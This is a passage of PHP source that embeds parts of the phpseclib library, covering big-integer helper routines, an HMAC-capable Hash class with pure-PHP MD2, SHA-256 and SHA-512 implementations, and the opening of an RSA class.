         *
         * @param int $shift
         * @access private
         */
        function _rshift($shift)
        {
            if ($shift == 0) {
                return;
            }

$num_digits = (int)($shift / self::$base);
            $shift %= self::$base;
            $carry_shift = self::$base - $shift;
            $carry_mask = (1 << $shift) - 1;

if ($num_digits) {
                $this->value = array_slice($this->value, $num_digits);
            }

$carry = 0;

for ($i = count($this->value) - 1; $i >= 0; --$i) {
                $temp = $this->value[$i] >> $shift | $carry;
                $carry = ($this->value[$i] & $carry_mask) << $carry_shift;
                $this->value[$i] = $temp;
            }

$this->value = $this->_trim($this->value);
        }

/**
         * Normalize
         *
         * Removes leading zeros and truncates (if necessary) to maintain the appropriate precision
         *
         * @param \phpseclib\Math\BigInteger $result
         * @return \phpseclib\Math\BigInteger
         * @see self::_trim()
         * @access private
         */
        function _normalize($result)
        {
            $result->precision = $this->precision;
            $result->bitmask = $this->bitmask;

switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    if ($this->bitmask !== false) {
                        $flip = gmp_cmp($result->value, gmp_init(0)) < 0;
                        if ($flip) {
                            $result->value = gmp_neg($result->value);
                        }
                        $result->value = gmp_and($result->value, $result->bitmask->value);
                        if ($flip) {
                            $result->value = gmp_neg($result->value);
                        }
                    }

return $result;
                case self::MODE_BCMATH:
                    if (!empty($result->bitmask->value)) {
                        $result->value = bcmod($result->value, $result->bitmask->value);
                    }

return $result;
            }

$value = &$result->value;

if (!count($value)) {
                $result->is_negative = false;
                return $result;
            }

$value = $this->_trim($value);

if (!empty($result->bitmask->value)) {
                $length = min(count($value), count($this->bitmask->value));
                $value = array_slice($value, 0, $length);

for ($i = 0; $i < $length; ++$i) {
                    $value[$i] = $value[$i] & $this->bitmask->value[$i];
                }
            }

return $result;
        }

/**
         * Trim
         *
         * Removes leading zeros
         *
         * @param array $value
         * @return \phpseclib\Math\BigInteger
         * @access private
         */
        function _trim($value)
        {
            for ($i = count($value) - 1; $i >= 0; --$i) {
                if ($value[$i]) {
                    break;
                }
                unset($value[$i]);
            }

return $value;
        }

/**
         * Array Repeat
         *
         * @param array $input
         * @param mixed $multiplier
         * @return array
         * @access private
         */
        function _array_repeat($input, $multiplier)
        {
            return ($multiplier) ? array_fill(0, $multiplier, $input) : array();
        }

/**
         * Logical Left Shift
         *
         * Shifts binary strings $shift bits, essentially multiplying by 2**$shift.
         *
         * @param string $x (by reference)
         * @param int $shift
         * @return string
         * @access private
         */
        function _base256_lshift(&$x, $shift)
        {
            if ($shift == 0) {
                return;
            }

$num_bytes = $shift >> 3; // eg. floor($shift/8)
            $shift &= 7; // eg. $shift % 8

$carry = 0;
            for ($i = strlen($x) - 1; $i >= 0; --$i) {
                $temp = ord($x[$i]) << $shift | $carry;
                $x[$i] = chr($temp);
                $carry = $temp >> 8;
            }
            $carry = ($carry != 0) ? chr($carry) : '';
            $x = $carry . $x . str_repeat(chr(0), $num_bytes);
        }

/**
         * Logical Right Shift
         *
         * Shifts binary strings $shift bits, essentially dividing by 2**$shift and returning the remainder.
         *
         * @param string $x (by referenc)
         * @param int $shift
         * @return string
         * @access private
         */
        function _base256_rshift(&$x, $shift)
        {
            if ($shift == 0) {
                $x = ltrim($x, chr(0));
                return '';
            }

$num_bytes = $shift >> 3; // eg. floor($shift/8)
            $shift &= 7; // eg. $shift % 8

$remainder = '';
            if ($num_bytes) {
                $start = $num_bytes > strlen($x) ? -strlen($x) : -$num_bytes;
                $remainder = substr($x, $start);
                $x = substr($x, 0, -$num_bytes);
            }

$carry = 0;
            $carry_shift = 8 - $shift;
            for ($i = 0; $i < strlen($x); ++$i) {
                $temp = (ord($x[$i]) >> $shift) | $carry;
                $carry = (ord($x[$i]) << $carry_shift) & 0xFF;
                $x[$i] = chr($temp);
            }
            $x = ltrim($x, chr(0));

$remainder = chr($carry >> $carry_shift) . $remainder;

return ltrim($remainder, chr(0));
        }

// one quirk about how the following functions are implemented is that PHP defines N to be an unsigned long
        // at 32-bits, while java's longs are 64-bits.

/**
         * Converts 32-bit integers to bytes.
         *
         * @param int $x
         * @return string
         * @access private
         */
        function _int2bytes($x)
        {
            return ltrim(pack('N', $x), chr(0));
        }

/**
         * Converts bytes to 32-bit integers
         *
         * @param string $x
         * @return int
         * @access private
         */
        function _bytes2int($x)
        {
            $temp = unpack('Nint', str_pad($x, 4, chr(0), STR_PAD_LEFT));
            return $temp['int'];
        }

/**
         * DER-encode an integer
         *
         * The ability to DER-encode integers is needed to create RSA public keys for use with OpenSSL
         *
         * @param int $length
         * @return string
         * @see self::modPow()
         * @access private
         */
        function _encodeASN1Length($length)
        {
            if ($length <= 0x7F) {
                return chr($length);
            }

$temp = ltrim(pack('N', $length), chr(0));
            return pack('Ca*', 0x80 | strlen($temp), $temp);
        }

/**
         * Single digit division
         *
         * Even if int64 is being used the division operator will return a float64 value
         * if the dividend is not evenly divisible by the divisor. Since a float64 doesn't
         * have the precision of int64 this is a problem so, when int64 is being used,
         * we'll guarantee that the dividend is divisible by first subtracting the remainder.
         *
         * @access private
         * @param int $x
         * @param int $y
         * @return int
         */
        function _safe_divide($x, $y)
        {
            if (self::$base === 26) {
                return (int)($x / $y);
            }

// self::$base === 31
            return ($x - ($x % $y)) / $y;
        }
    }
}
if (!class_exists('Hash')) {
    class Hash
    {
        /**#@+
         * @access private
         * @see \phpseclib\Crypt\Hash::__construct()
         */
        /**
         * Toggles the internal implementation
         */
        const MODE_INTERNAL = 1;
        /**
         * Toggles the mhash() implementation, which has been deprecated on PHP 5.3.0+.
         */
        const MODE_MHASH = 2;
        /**
         * Toggles the hash() implementation, which works on PHP 5.1.2+.
         */
        const MODE_HASH = 3;
        /**#@-*/

/**
         * Hash Parameter
         *
         * @see self::setHash()
         * @var int
         * @access private
         */
        var $hashParam;

/**
         * Byte-length of compression blocks / key (Internal HMAC)
         *
         * @see self::setAlgorithm()
         * @var int
         * @access private
         */
        var $b;

/**
         * Byte-length of hash output (Internal HMAC)
         *
         * @see self::setHash()
         * @var int
         * @access private
         */
        var $l = false;

/**
         * Hash Algorithm
         *
         * @see self::setHash()
         * @var string
         * @access private
         */
        var $hash;

/**
         * Key
         *
         * @see self::setKey()
         * @var string
         * @access private
         */
        var $key = false;

/**
         * Computed Key
         *
         * @see self::_computeKey()
         * @var string
         * @access private
         */
        var $computedKey = false;

/**
         * Outer XOR (Internal HMAC)
         *
         * @see self::setKey()
         * @var string
         * @access private
         */
        var $opad;

/**
         * Inner XOR (Internal HMAC)
         *
         * @see self::setKey()
         * @var string
         * @access private
         */
        var $ipad;

/**
         * Engine
         *
         * @see self::setHash()
         * @var string
         * @access private
         */
        var $engine;

/**
         * Default Constructor.
         *
         * @param string $hash
         * @return \phpseclib\Crypt\Hash
         * @access public
         */
        function __construct($hash = 'sha1')
        {
            if (!defined('CRYPT_HASH_MODE')) {
                switch (true) {
                    case extension_loaded('hash'):
                        define('CRYPT_HASH_MODE', self::MODE_HASH);
                        break;
                    case extension_loaded('mhash'):
                        define('CRYPT_HASH_MODE', self::MODE_MHASH);
                        break;
                    default:
                        define('CRYPT_HASH_MODE', self::MODE_INTERNAL);
                }
            }

$this->setHash($hash);
        }

/**
         * Sets the key for HMACs
         *
         * Keys can be of any length.
         *
         * @access public
         * @param string $key
         */
        function setKey($key = false)
        {
            $this->key = $key;
            $this->_computeKey();
        }

/**
         * Pre-compute the key used by the HMAC
         *
         * Quoting http://tools.ietf.org/html/rfc2104#section-2, "Applications that use keys longer than B bytes
         * will first hash the key using H and then use the resultant L byte string as the actual key to HMAC."
         *
         * As documented in https://www.reddit.com/r/PHP/comments/9nct2l/symfonypolyfill_hash_pbkdf2_correct_fix_for/
         * when doing an HMAC multiple times it's faster to compute the hash once instead of computing it during
         * every call
         *
         * @access private
         */
        function _computeKey()
        {
            if ($this->key === false) {
                $this->computedKey = false;
                return;
            }

if (strlen($this->key) <= $this->b) {
                $this->computedKey = $this->key;
                return;
            }

switch ($this->engine) {
                case self::MODE_MHASH:
                    $this->computedKey = mhash($this->hash, $this->key);
                    break;
                case self::MODE_HASH:
                    $this->computedKey = hash($this->hash, $this->key, true);
                    break;
                case self::MODE_INTERNAL:
                    $this->computedKey = call_user_func($this->hash, $this->key);
            }
        }

/**
         * Gets the hash function.
         *
         * As set by the constructor or by the setHash() method.
         *
         * @access public
         * @return string
         */
        function getHash()
        {
            return $this->hashParam;
        }

/**
         * Sets the hash function.
         *
         * @access public
         * @param string $hash
         */
        function setHash($hash)
        {
            $this->hashParam = $hash = strtolower($hash);
            switch ($hash) {
                case 'md5-96':
                case 'sha1-96':
                case 'sha256-96':
                case 'sha512-96':
                    $hash = substr($hash, 0, -3);
                    $this->l = 12; // 96 / 8 = 12
                    break;
                case 'md2':
                case 'md5':
                    $this->l = 16;
                    break;
                case 'sha1':
                    $this->l = 20;
                    break;
                case 'sha256':
                    $this->l = 32;
                    break;
                case 'sha384':
                    $this->l = 48;
                    break;
                case 'sha512':
                    $this->l = 64;
            }

switch ($hash) {
                case 'md2-96':
                case 'md2':
                    $this->b = 16;
                case 'md5-96':
                case 'sha1-96':
                case 'sha224-96':
                case 'sha256-96':
                case 'md2':
                case 'md5':
                case 'sha1':
                case 'sha224':
                case 'sha256':
                    $this->b = 64;
                    break;
                default:
                    $this->b = 128;
            }

switch ($hash) {
                case 'md2':
                    $this->engine = CRYPT_HASH_MODE == self::MODE_HASH && in_array('md2', hash_algos()) ?
                        self::MODE_HASH : self::MODE_INTERNAL;
                    break;
                case 'sha384':
                case 'sha512':
                    $this->engine = CRYPT_HASH_MODE == self::MODE_MHASH ? self::MODE_INTERNAL : CRYPT_HASH_MODE;
                    break;
                default:
                    $this->engine = CRYPT_HASH_MODE;
            }

switch ($this->engine) {
                case self::MODE_MHASH:
                    switch ($hash) {
                        case 'md5':
                            $this->hash = MHASH_MD5;
                            break;
                        case 'sha256':
                            $this->hash = MHASH_SHA256;
                            break;
                        case 'sha1':
                        default:
                            $this->hash = MHASH_SHA1;
                    }
                    $this->_computeKey(self::MODE_MHASH);
                    return;
                case self::MODE_HASH:
                    switch ($hash) {
                        case 'md5':
                            $this->hash = 'md5';
                            return;
                        case 'md2':
                        case 'sha256':
                        case 'sha384':
                        case 'sha512':
                            $this->hash = $hash;
                            return;
                        case 'sha1':
                        default:
                            $this->hash = 'sha1';
                    }
                    $this->_computeKey(self::MODE_HASH);
                    return;
            }

switch ($hash) {
                case 'md2':
                    $this->hash = array($this, '_md2');
                    break;
                case 'md5':
                    $this->hash = array($this, '_md5');
                    break;
                case 'sha256':
                    $this->hash = array($this, '_sha256');
                    break;
                case 'sha384':
                case 'sha512':
                    $this->hash = array($this, '_sha512');
                    break;
                case 'sha1':
                default:
                    $this->hash = array($this, '_sha1');
            }

$this->ipad = str_repeat(chr(0x36), $this->b);
            $this->opad = str_repeat(chr(0x5C), $this->b);

$this->_computeKey(self::MODE_INTERNAL);
        }

/**
         * Compute the HMAC.
         *
         * @access public
         * @param string $text
         * @return string
         */
        function hash($text)
        {
            if (!empty($this->key) || is_string($this->key)) {
                switch ($this->engine) {
                    case self::MODE_MHASH:
                        $output = mhash($this->hash, $text, $this->computedKey);
                        break;
                    case self::MODE_HASH:
                        $output = hash_hmac($this->hash, $text, $this->computedKey, true);
                        break;
                    case self::MODE_INTERNAL:
                        $key = str_pad($this->computedKey, $this->b, chr(0)); // step 1
                        $temp = $this->ipad ^ $key;                            // step 2
                        $temp .= $text;                                         // step 3
                        $temp = call_user_func($this->hash, $temp);            // step 4
                        $output = $this->opad ^ $key;                            // step 5
                        $output .= $temp;                                         // step 6
                        $output = call_user_func($this->hash, $output);          // step 7
                }
            } else {
                switch ($this->engine) {
                    case self::MODE_MHASH:
                        $output = mhash($this->hash, $text);
                        break;
                    case self::MODE_HASH:
                        $output = hash($this->hash, $text, true);
                        break;
                    case self::MODE_INTERNAL:
                        $output = call_user_func($this->hash, $text);
                }
            }

return substr($output, 0, $this->l);
        }

/**
         * Returns the hash length (in bytes)
         *
         * @access public
         * @return int
         */
        function getLength()
        {
            return $this->l;
        }

/**
         * Wrapper for MD5
         *
         * @access private
         * @param string $m
         */
        function _md5($m)
        {
            return pack('H*', md5($m));
        }

/**
         * Wrapper for SHA1
         *
         * @access private
         * @param string $m
         */
        function _sha1($m)
        {
            return pack('H*', sha1($m));
        }

/**
         * Pure-PHP implementation of MD2
         *
         * See {@link http://tools.ietf.org/html/rfc1319 RFC1319}.
         *
         * @access private
         * @param string $m
         */
        function _md2($m)
        {
            static $s = array(
                41, 46, 67, 201, 162, 216, 124, 1, 61, 54, 84, 161, 236, 240, 6,
                19, 98, 167, 5, 243, 192, 199, 115, 140, 152, 147, 43, 217, 188,
                76, 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, 103, 66, 111, 24,
                138, 23, 229, 18, 190, 78, 196, 214, 218, 158, 222, 73, 160, 251,
                245, 142, 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, 7, 63,
                148, 194, 16, 137, 11, 34, 95, 33, 128, 127, 93, 154, 90, 144, 50,
                39, 53, 62, 204, 231, 191, 247, 151, 3, 255, 25, 48, 179, 72, 165,
                181, 209, 215, 94, 146, 42, 172, 86, 170, 198, 79, 184, 56, 210,
                150, 164, 125, 182, 118, 252, 107, 226, 156, 116, 4, 241, 69, 157,
                112, 89, 100, 113, 135, 32, 134, 91, 207, 101, 230, 45, 168, 2, 27,
                96, 37, 173, 174, 176, 185, 246, 28, 70, 97, 105, 52, 64, 126, 15,
                85, 71, 163, 35, 221, 81, 175, 58, 195, 92, 249, 206, 186, 197,
                234, 38, 44, 83, 13, 110, 133, 40, 132, 9, 211, 223, 205, 244, 65,
                129, 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, 36, 225, 123,
                8, 12, 189, 177, 74, 120, 136, 149, 139, 227, 99, 232, 109, 233,
                203, 213, 254, 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, 208, 228,
                166, 119, 114, 248, 235, 117, 75, 10, 49, 68, 80, 180, 143, 237,
                31, 26, 219, 153, 141, 51, 159, 17, 131, 20
            );

// Step 1. Append Padding Bytes
            $pad = 16 - (strlen($m) & 0xF);
            $m .= str_repeat(chr($pad), $pad);

$length = strlen($m);

// Step 2. Append Checksum
            $c = str_repeat(chr(0), 16);
            $l = chr(0);
            for ($i = 0; $i < $length; $i += 16) {
                for ($j = 0; $j < 16; $j++) {
                    // RFC1319 incorrectly states that C[j] should be set to S[c xor L]
                    //$c[$j] = chr($s[ord($m[$i + $j] ^ $l)]);
                    // per <http://www.rfc-editor.org/errata_search.php?rfc=1319>, however, C[j] should be set to S[c xor L] xor C[j]
                    $c[$j] = chr($s[ord($m[$i + $j] ^ $l)] ^ ord($c[$j]));
                    $l = $c[$j];
                }
            }
            $m .= $c;

$length += 16;

// Step 3. Initialize MD Buffer
            $x = str_repeat(chr(0), 48);

// Step 4. Process Message in 16-Byte Blocks
            for ($i = 0; $i < $length; $i += 16) {
                for ($j = 0; $j < 16; $j++) {
                    $x[$j + 16] = $m[$i + $j];
                    $x[$j + 32] = $x[$j + 16] ^ $x[$j];
                }
                $t = chr(0);
                for ($j = 0; $j < 18; $j++) {
                    for ($k = 0; $k < 48; $k++) {
                        $x[$k] = $t = $x[$k] ^ chr($s[ord($t)]);
                        //$t = $x[$k] = $x[$k] ^ chr($s[ord($t)]);
                    }
                    $t = chr(ord($t) + $j);
                }
            }

// Step 5. Output
            return substr($x, 0, 16);
        }

/**
         * Pure-PHP implementation of SHA256
         *
         * See {@link http://en.wikipedia.org/wiki/SHA_hash_functions#SHA-256_.28a_SHA-2_variant.29_pseudocode SHA-256 (a SHA-2 variant) pseudocode - Wikipedia}.
         *
         * @access private
         * @param string $m
         */
        function _sha256($m)
        {
            if (extension_loaded('suhosin')) {
                return pack('H*', sha256($m));
            }

// Initialize variables
            $hash = array(
                0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
            );
            // Initialize table of round constants
            // (first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311)
            static $k = array(
                0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
                0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
                0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
                0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
                0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
                0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
                0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
                0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
            );

// Pre-processing
            $length = strlen($m);
            // to round to nearest 56 mod 64, we'll add 64 - (length + (64 - 56)) % 64
            $m .= str_repeat(chr(0), 64 - (($length + 8) & 0x3F));
            $m[$length] = chr(0x80);
            // we don't support hashing strings 512MB long
            $m .= pack('N2', 0, $length << 3);

// Process the message in successive 512-bit chunks
            $chunks = str_split($m, 64);
            foreach ($chunks as $chunk) {
                $w = array();
                for ($i = 0; $i < 16; $i++) {
                    extract(unpack('Ntemp', $this->_string_shift($chunk, 4)));
                    $w[] = $temp;
                }

// Extend the sixteen 32-bit words into sixty-four 32-bit words
                for ($i = 16; $i < 64; $i++) {
                    // @codingStandardsIgnoreStart
                    $s0 = $this->_rightRotate($w[$i - 15], 7) ^
                        $this->_rightRotate($w[$i - 15], 18) ^
                        $this->_rightShift($w[$i - 15], 3);
                    $s1 = $this->_rightRotate($w[$i - 2], 17) ^
                        $this->_rightRotate($w[$i - 2], 19) ^
                        $this->_rightShift($w[$i - 2], 10);
                    // @codingStandardsIgnoreEnd
                    $w[$i] = $this->_add($w[$i - 16], $s0, $w[$i - 7], $s1);
                }

// Initialize hash value for this chunk
                list($a, $b, $c, $d, $e, $f, $g, $h) = $hash;

// Main loop
                for ($i = 0; $i < 64; $i++) {
                    $s0 = $this->_rightRotate($a, 2) ^
                        $this->_rightRotate($a, 13) ^
                        $this->_rightRotate($a, 22);
                    $maj = ($a & $b) ^
                        ($a & $c) ^
                        ($b & $c);
                    $t2 = $this->_add($s0, $maj);

$s1 = $this->_rightRotate($e, 6) ^
                        $this->_rightRotate($e, 11) ^
                        $this->_rightRotate($e, 25);
                    $ch = ($e & $f) ^
                        ($this->_not($e) & $g);
                    $t1 = $this->_add($h, $s1, $ch, $k[$i], $w[$i]);

$h = $g;
                    $g = $f;
                    $f = $e;
                    $e = $this->_add($d, $t1);
                    $d = $c;
                    $c = $b;
                    $b = $a;
                    $a = $this->_add($t1, $t2);
                }

// Add this chunk's hash to result so far
                $hash = array(
                    $this->_add($hash[0], $a),
                    $this->_add($hash[1], $b),
                    $this->_add($hash[2], $c),
                    $this->_add($hash[3], $d),
                    $this->_add($hash[4], $e),
                    $this->_add($hash[5], $f),
                    $this->_add($hash[6], $g),
                    $this->_add($hash[7], $h)
                );
            }

// Produce the final hash value (big-endian)
            return pack('N8', $hash[0], $hash[1], $hash[2], $hash[3], $hash[4], $hash[5], $hash[6], $hash[7]);
        }

/**
         * Pure-PHP implementation of SHA384 and SHA512
         *
         * @access private
         * @param string $m
         */
        function _sha512($m)
        {
            static $init384, $init512, $k;

if (!isset($k)) {
                // Initialize variables
                $init384 = array( // initial values for SHA384
                    'cbbb9d5dc1059ed8', '629a292a367cd507', '9159015a3070dd17', '152fecd8f70e5939',
                    '67332667ffc00b31', '8eb44a8768581511', 'db0c2e0d64f98fa7', '47b5481dbefa4fa4'
                );
                $init512 = array( // initial values for SHA512
                    '6a09e667f3bcc908', 'bb67ae8584caa73b', '3c6ef372fe94f82b', 'a54ff53a5f1d36f1',
                    '510e527fade682d1', '9b05688c2b3e6c1f', '1f83d9abfb41bd6b', '5be0cd19137e2179'
                );

for ($i = 0; $i < 8; $i++) {
                    $init384[$i] = new BigInteger($init384[$i], 16);
                    $init384[$i]->setPrecision(64);
                    $init512[$i] = new BigInteger($init512[$i], 16);
                    $init512[$i]->setPrecision(64);
                }

// Initialize table of round constants
                // (first 64 bits of the fractional parts of the cube roots of the first 80 primes 2..409)
                $k = array(
                    '428a2f98d728ae22', '7137449123ef65cd', 'b5c0fbcfec4d3b2f', 'e9b5dba58189dbbc',
                    '3956c25bf348b538', '59f111f1b605d019', '923f82a4af194f9b', 'ab1c5ed5da6d8118',
                    'd807aa98a3030242', '12835b0145706fbe', '243185be4ee4b28c', '550c7dc3d5ffb4e2',
                    '72be5d74f27b896f', '80deb1fe3b1696b1', '9bdc06a725c71235', 'c19bf174cf692694',
                    'e49b69c19ef14ad2', 'efbe4786384f25e3', '0fc19dc68b8cd5b5', '240ca1cc77ac9c65',
                    '2de92c6f592b0275', '4a7484aa6ea6e483', '5cb0a9dcbd41fbd4', '76f988da831153b5',
                    '983e5152ee66dfab', 'a831c66d2db43210', 'b00327c898fb213f', 'bf597fc7beef0ee4',
                    'c6e00bf33da88fc2', 'd5a79147930aa725', '06ca6351e003826f', '142929670a0e6e70',
                    '27b70a8546d22ffc', '2e1b21385c26c926', '4d2c6dfc5ac42aed', '53380d139d95b3df',
                    '650a73548baf63de', '766a0abb3c77b2a8', '81c2c92e47edaee6', '92722c851482353b',
                    'a2bfe8a14cf10364', 'a81a664bbc423001', 'c24b8b70d0f89791', 'c76c51a30654be30',
                    'd192e819d6ef5218', 'd69906245565a910', 'f40e35855771202a', '106aa07032bbd1b8',
                    '19a4c116b8d2d0c8', '1e376c085141ab53', '2748774cdf8eeb99', '34b0bcb5e19b48a8',
                    '391c0cb3c5c95a63', '4ed8aa4ae3418acb', '5b9cca4f7763e373', '682e6ff3d6b2b8a3',
                    '748f82ee5defb2fc', '78a5636f43172f60', '84c87814a1f0ab72', '8cc702081a6439ec',
                    '90befffa23631e28', 'a4506cebde82bde9', 'bef9a3f7b2c67915', 'c67178f2e372532b',
                    'ca273eceea26619c', 'd186b8c721c0c207', 'eada7dd6cde0eb1e', 'f57d4f7fee6ed178',
                    '06f067aa72176fba', '0a637dc5a2c898a6', '113f9804bef90dae', '1b710b35131c471b',
                    '28db77f523047d84', '32caab7b40c72493', '3c9ebe0a15c9bebc', '431d67c49c100d4c',
                    '4cc5d4becb3e42b6', '597f299cfc657e2a', '5fcb6fab3ad6faec', '6c44198c4a475817'
                );

for ($i = 0; $i < 80; $i++) {
                    $k[$i] = new BigInteger($k[$i], 16);
                }
            }

$hash = $this->l == 48 ? $init384 : $init512;

// Pre-processing
            $length = strlen($m);
            // to round to nearest 112 mod 128, we'll add 128 - (length + (128 - 112)) % 128
            $m .= str_repeat(chr(0), 128 - (($length + 16) & 0x7F));
            $m[$length] = chr(0x80);
            // we don't support hashing strings 512MB long
            $m .= pack('N4', 0, 0, 0, $length << 3);

// Process the message in successive 1024-bit chunks
            $chunks = str_split($m, 128);
            foreach ($chunks as $chunk) {
                $w = array();
                for ($i = 0; $i < 16; $i++) {
                    $temp = new BigInteger($this->_string_shift($chunk, 8), 256);
                    $temp->setPrecision(64);
                    $w[] = $temp;
                }

// Extend the sixteen 32-bit words into eighty 32-bit words
                for ($i = 16; $i < 80; $i++) {
                    $temp = array(
                        $w[$i - 15]->bitwise_rightRotate(1),
                        $w[$i - 15]->bitwise_rightRotate(8),
                        $w[$i - 15]->bitwise_rightShift(7)
                    );
                    $s0 = $temp[0]->bitwise_xor($temp[1]);
                    $s0 = $s0->bitwise_xor($temp[2]);
                    $temp = array(
                        $w[$i - 2]->bitwise_rightRotate(19),
                        $w[$i - 2]->bitwise_rightRotate(61),
                        $w[$i - 2]->bitwise_rightShift(6)
                    );
                    $s1 = $temp[0]->bitwise_xor($temp[1]);
                    $s1 = $s1->bitwise_xor($temp[2]);
                    $w[$i] = $w[$i - 16]->copy();
                    $w[$i] = $w[$i]->add($s0);
                    $w[$i] = $w[$i]->add($w[$i - 7]);
                    $w[$i] = $w[$i]->add($s1);
                }

// Initialize hash value for this chunk
                $a = $hash[0]->copy();
                $b = $hash[1]->copy();
                $c = $hash[2]->copy();
                $d = $hash[3]->copy();
                $e = $hash[4]->copy();
                $f = $hash[5]->copy();
                $g = $hash[6]->copy();
                $h = $hash[7]->copy();

// Main loop
                for ($i = 0; $i < 80; $i++) {
                    $temp = array(
                        $a->bitwise_rightRotate(28),
                        $a->bitwise_rightRotate(34),
                        $a->bitwise_rightRotate(39)
                    );
                    $s0 = $temp[0]->bitwise_xor($temp[1]);
                    $s0 = $s0->bitwise_xor($temp[2]);
                    $temp = array(
                        $a->bitwise_and($b),
                        $a->bitwise_and($c),
                        $b->bitwise_and($c)
                    );
                    $maj = $temp[0]->bitwise_xor($temp[1]);
                    $maj = $maj->bitwise_xor($temp[2]);
                    $t2 = $s0->add($maj);

$temp = array(
                        $e->bitwise_rightRotate(14),
                        $e->bitwise_rightRotate(18),
                        $e->bitwise_rightRotate(41)
                    );
                    $s1 = $temp[0]->bitwise_xor($temp[1]);
                    $s1 = $s1->bitwise_xor($temp[2]);
                    $temp = array(
                        $e->bitwise_and($f),
                        $g->bitwise_and($e->bitwise_not())
                    );
                    $ch = $temp[0]->bitwise_xor($temp[1]);
                    $t1 = $h->add($s1);
                    $t1 = $t1->add($ch);
                    $t1 = $t1->add($k[$i]);
                    $t1 = $t1->add($w[$i]);

$h = $g->copy();
                    $g = $f->copy();
                    $f = $e->copy();
                    $e = $d->add($t1);
                    $d = $c->copy();
                    $c = $b->copy();
                    $b = $a->copy();
                    $a = $t1->add($t2);
                }

// Add this chunk's hash to result so far
                $hash = array(
                    $hash[0]->add($a),
                    $hash[1]->add($b),
                    $hash[2]->add($c),
                    $hash[3]->add($d),
                    $hash[4]->add($e),
                    $hash[5]->add($f),
                    $hash[6]->add($g),
                    $hash[7]->add($h)
                );
            }

// Produce the final hash value (big-endian)
            // (\phpseclib\Crypt\Hash::hash() trims the output for hashes but not for HMACs.  as such, we trim the output here)
            $temp = $hash[0]->toBytes() . $hash[1]->toBytes() . $hash[2]->toBytes() . $hash[3]->toBytes() .
                $hash[4]->toBytes() . $hash[5]->toBytes();
            if ($this->l != 48) {
                $temp .= $hash[6]->toBytes() . $hash[7]->toBytes();
            }

return $temp;
        }

/**
         * Right Rotate
         *
         * @access private
         * @param int $int
         * @param int $amt
         * @return int
         * @see self::_sha256()
         */
        function _rightRotate($int, $amt)
        {
            $invamt = 32 - $amt;
            $mask = (1 << $invamt) - 1;
            return (($int << $invamt) & 0xFFFFFFFF) | (($int >> $amt) & $mask);
        }

/**
         * Right Shift
         *
         * @access private
         * @param int $int
         * @param int $amt
         * @return int
         * @see self::_sha256()
         */
        function _rightShift($int, $amt)
        {
            $mask = (1 << (32 - $amt)) - 1;
            return ($int >> $amt) & $mask;
        }

/**
         * Not
         *
         * @access private
         * @param int $int
         * @return int
         * @see self::_sha256()
         */
        function _not($int)
        {
            return ~$int & 0xFFFFFFFF;
        }

/**
         * Add
         *
         * _sha256() adds multiple unsigned 32-bit integers.  Since PHP doesn't support unsigned integers and since the
         * possibility of overflow exists, care has to be taken.  BigInteger could be used but this should be faster.
         *
         * @return int
         * @see self::_sha256()
         * @access private
         */
        function _add()
        {
            static $mod;
            if (!isset($mod)) {
                $mod = pow(2, 32);
            }

$result = 0;
            $arguments = func_get_args();
            foreach ($arguments as $argument) {
                $result += $argument < 0 ? ($argument & 0x7FFFFFFF) + 0x80000000 : $argument;
            }

if ((php_uname('m') & "\xDF\xDF\xDF") != 'ARM') {
                return fmod($result, $mod);
            }

return (fmod($result, 0x80000000) & 0x7FFFFFFF) |
                ((fmod(floor($result / 0x80000000), 2) & 1) << 31);
        }

/**
         * String Shift
         *
         * Inspired by array_shift
         *
         * @param string $string
         * @param int $index
         * @return string
         * @access private
         */
        function _string_shift(&$string, $index = 1)
        {
            $substr = substr($string, 0, $index);
            $string = substr($string, $index);
            return $substr;
        }
    }
}
if (!class_exists('RSA')) {
    class RSA
    {
        /**#@-*/

/**#@+
         * @access private
         */
        /**
         * ASN1 Integer
         */
        const ASN1_INTEGER = 2;
        /**
         * ASN1 Bit String
         */
        const ASN1_BITSTRING = 3;
        /**
         * ASN1 Object Identifier
         */
        const ASN1_OBJECT = 6;
        /**
         * ASN1 Sequence (with the constucted bit set)
         */
        const ASN1_SEQUENCE = 48;
        /**#@-*/

/**#@+
         * @access private
         */
        /**
         * To use the pure-PHP implementation
         */
        const MODE_INTERNAL = 1;
        /**
         * PKCS#1 formatted public key (raw)
         *
         * Used by File/X509.php
         *
         * Has the following header:
         *
         * -----BEGIN RSA PUBLIC KEY-----
         *
         * Analogous to ssh-keygen's pem format (as specified by -m)
         */
        const PUBLIC_FORMAT_PKCS1 = 4;

/**
         * Precomputed Zero
         *
         * @access private
         */
        var $zero;

/**
         * Precomputed One
         *
         * @access private
         */
        var $one;

/**
         * Modulus (ie. n)
         *
         * @access private
         */
        var $modulus;

/**
         * Modulus length
         *
         * @access private
         */
        var $k;

/**
         * Exponent (ie. e or d)
         *
         * @access private
         */
        var $exponent;

/**
         * Primes for Chinese Remainder Theorem (ie. p and q)
         *
         * @var array
         * @access private
         */
        var $primes = array();

/**
